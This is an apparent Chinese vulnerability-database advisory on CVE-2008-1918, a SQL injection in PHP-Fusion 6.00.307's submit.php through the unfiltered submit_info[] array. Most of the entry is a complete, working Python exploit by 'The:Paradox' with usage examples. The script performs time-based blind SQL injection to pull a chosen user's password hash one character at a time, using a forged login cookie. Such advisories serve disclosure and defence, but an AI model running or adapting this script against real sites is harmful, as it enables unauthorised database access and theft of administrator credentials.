PHP-Fusion submit.php文件SQL注入漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01154
BugCVE: CVE-2008-1918
BUGTRAQ: 28855

影响版本:
PHP-Fusion 6.00.307

程序介绍:

PHP-Fusion是一款基于PHP的内容管理系统。

漏洞分析:

PHP-Fusion的submit.php文件没有正确地过滤对submit_info[]参数的输入便在SQL查询中使用，远程攻击者可能利用此漏洞执行SQL注入攻击。

相关代码：

 
  1. 1. if ($stype == "l") {                                                                            
  2. 2.                                                    
  3. 3.    if (isset($_POST['submit_link'])) {                                
  4. 4.  
  5. 5.    if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") {  
  6. 6.        $submit_info['link_category'] = stripinput($_POST['link_category']);  
  7. 7.        $submit_info['link_name'] = stripinput($_POST['link_name']);  
  8. 8.        $submit_info['link_url'] = stripinput($_POST['link_url']);  
  9. 9.        $submit_info['link_description'] = stripinput($_POST['link_description']);  
  10. 10.        $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");      

sql查询中有两个变量：$userdata['user_id']和序列化数组$submit_info。如果通过gpc变量设置了submit_info[]数组中值的话，就会未经stripinput检查在序列化数组中使用，导致Sql注入攻击。    

成功攻击允许攻击者检索管理员口令哈希，但要求有效的用户凭据、知道数据库表格前缀，且禁用了magic_quotes_gpc。



漏洞利用:

 
  1. #!/usr/bin/python  
  2. """ 
  3. #=================================================================================================# 
  4. #                     ____            __________         __             ____  __                  # 
  5. #                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                # 
  6. #                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               # 
  7. #                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 # 
  8. #                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 # 
  9. #                              \/\______|      \/     \/                                          # 
  10. #=================================================================================================# 
  11. #                                     This was a priv8 Exploit                                    # 
  12. #=================================================================================================# 
  13. #                            PHP-Fusion 6.00.307                                      # 
  14. #                                  And Probably All Other Versions                                # 
  15. #                                 Blind Sql Injection Vulnerability                               # 
  16. #                                         Benchmark Method                                        # 
  17. #====================================#===========#====================================#===========# 
  18. # Server Configuration Requirements  #           # Some Information                   #           # 
  19. #====================================#       #====================================#           # 
  20. #                                                #                                                # 
  21. # magic_quotes_gpc = 0                           #  Vendor:   php-fusion.co.uk                    # 
  22. #                                                #  Author:   The:Paradox                         # 
  23. #================================================#  Severity: Moderately Critical                 # 
  24. #                                                #                                                # 
  25. #       Oh wow no-content space! Enjoy it!       #  Proud To Be Italian.                          # 
  26. #                                                #                                                # 
  27. #====================================#===========#================================================# 
  28. # Proof Of Concept / Bug Explanation #                                                            # 
  29. #====================================#                                                            # 
  30. # PHP-Fusion presents a critical vulnerability in submit.php page. Let's see source:          # 
  31. #=================================================================================================# 
  32.  
  33. [Submit.php] 
  34.  
  35.  1. if ($stype == "l") {                                                                           
  36.  2.                                                
  37.  3. if (isset($_POST['submit_link'])) {                            
  38.  4. 
  39.  5. if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") { 
  40.  6.     $submit_info['link_category'] = stripinput($_POST['link_category']); 
  41.  7.     $submit_info['link_name'] = stripinput($_POST['link_name']); 
  42.  8.     $submit_info['link_url'] = stripinput($_POST['link_url']); 
  43.  9.     $submit_info['link_description'] = stripinput($_POST['link_description']); 
  44. 10.     $result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");                                            
  45.                                                    
  46. #=================================================================================================# 
  47. # Look to the sql query.                                                                          # 
  48. # There are two variables: $userdata['user_id'] and a serialized array $submit_info.              # 
  49. # The user_id is an intval value and array values link_category, link_name, link_url and          # 
  50. # link_description are correctly cleaned via fusions' stripinput() function.                      # 
  51. #                                                                                                 # 
  52. # All seems pretty cleaned.                                                                       # 
  53. # But what would happen if we set another value into submit_info[] array via gpc vars?            # 
  54. # It will be set in the serialized array, and obvious it will not checked by stripinput.          # 
  55. # Sql Injection possibility!                                                                      # 
  56. #                                                                                                 # 
  57. # Let's see:                                                                                      # 
  58. #                                                                                                 # 
  59. # Host: 127.0.0.1                                                                                 # 
  60. # POST PHP-Fusion/submit.php?stype=l                                                              # 
  61. # link_category=1 link_name=1 link_url=1 link_description=1 submit_info[paradox]=' submit_link=1  # 
  62. #                                                                                                 # 
  63. # It will result in sql error in case of Mq = 0 :                                                 # 
  64. #                                                                                                 # 
  65. # You have an error in your SQL syntax; check [...]                                               # 
  66. #                                                                                                 # 
  67. #=================================================================================================# 
  68. # Normally to make this trick working register_globals = 1 is needed, but in php-fusion uses      # 
  69. # extract() to simulate register_globals when it is set to 0.                                     # 
  70. #=================================================================================================# 
  71. # Use this at your own risk. You are responsible for your own deeds.                              # 
  72. #=================================================================================================# 
  73. #                                      Python Exploit Starts                                      # 
  74. #=================================================================================================# 
  75. """  
  76.   
  77. from httplib import HTTPConnection  
  78. from urllib import urlencode  
  79. from time import time  
  80. from sys import exit, argv, stdout  
  81. from md5 import new  
  82.   
  83. print """ 
  84. #=================================================================# 
  85. #                   PHP-Fusion v6.00.307                      # 
  86. #                  And Probably All Other Versions                # 
  87. #                 Blind Sql Injection Vulnerability               # 
  88. #                         Benchmark Method                        # 
  89. #                                                                 # 
  90. #                     Discovered By The:Paradox                   # 
  91. #                                                                 # 
  92. # Usage:                                                          # 
  93. #  ./fusiown [Target] [Path] [ValidId] [ValidPass] [TargetUserid] # 
  94. #                                                                 # 
  95. # Example:                                                        # 
  96. #  ./fusiown localhost /phpfusion/ 40 s3cr3t 1                    # 
  97. #  ./fusiown www.host.org / 791 myp4ssw0rd 1                      # 
  98. #=================================================================# 
  99. """  
  100.   
  101. if len(argv)<=5:    exit()  
  102. else:   print "[.]Exploit Starting."  
  103.   
  104. prefix = "fusion_"   
  105. benchmark = "230000000"   
  106. vtime = 6   
  107. port = 80  
  108.   
  109. target = argv[1]  
  110. path = argv[2]  
  111. cuid = argv[3]  
  112. cpass = argv[4]  
  113. uid = argv[5]  
  114.   
  115. j=1  
  116. h4sh = ""  
  117. ht = []  
  118.   
  119. for k in range(48,58):    
  120.     ht.append(k)  
  121. for k in range(97,103):   
  122.     ht.append(k)  
  123. ht.append(0)  
  124.   
  125. def calc_md5(p):  
  126.       
  127.     hash = new()  
  128.     hash.update(p)  
  129.     return hash.hexdigest()  
  130.   
  131.   
  132. print "[.]Blind Sql Injection Starts.\n\nHash:"  
  133. while j <= 32:  
  134.     for i in ht:  
  135.         if i == 0:  exit('[-]Exploit Failed.\n')  
  136.           
  137.         start = time()  
  138.         conn = HTTPConnection(target,port)  
  139.   
  140.         inj = "' OR (SELECT IF((ASCII(SUBSTRING(user_password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE user_id=" + uid + "))# BH > WH"  
  141.   
  142.         conn.request("POST", path + "submit.php?stype=l", urlencode({'link_category': '1', 'link_name': '1', 'link_url': '1', 'link_description': '1', 'submit_link' : 'Submit+Link', 'submit_info[cGd0MQ==]' :  inj }), {"Accept": "text/plain", "Content-Type" : "application/x-www-form-urlencoded","Cookie": "fusion_user=" + cuid + "." + calc_md5(cpass) + ";"})  
  143.         response = conn.getresponse()  
  144.         read = response.read()        
  145.   
  146.   
  147.         if response.status == 404: exit('[-]Error 404. Not Found.')       
  148.         now = time()  
  149.           
  150.         if now - start > vtime:  
  151.             stdout.write(chr(i))  
  152.             stdout.flush()  
  153.             h4sh += chr(i)  
  154.             j += 1  
  155.             break;  
  156.   
  157. print "\n\n[+]All Done.\n-=Paradox Got This One=-"  


解决方案:
厂商补丁：
PHP-Fusion
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://sourceforge.net/projects/php-fusion/


信息来源:
<*来源：The:Paradox
链接：http://secunia.com/advisories/29930/
*>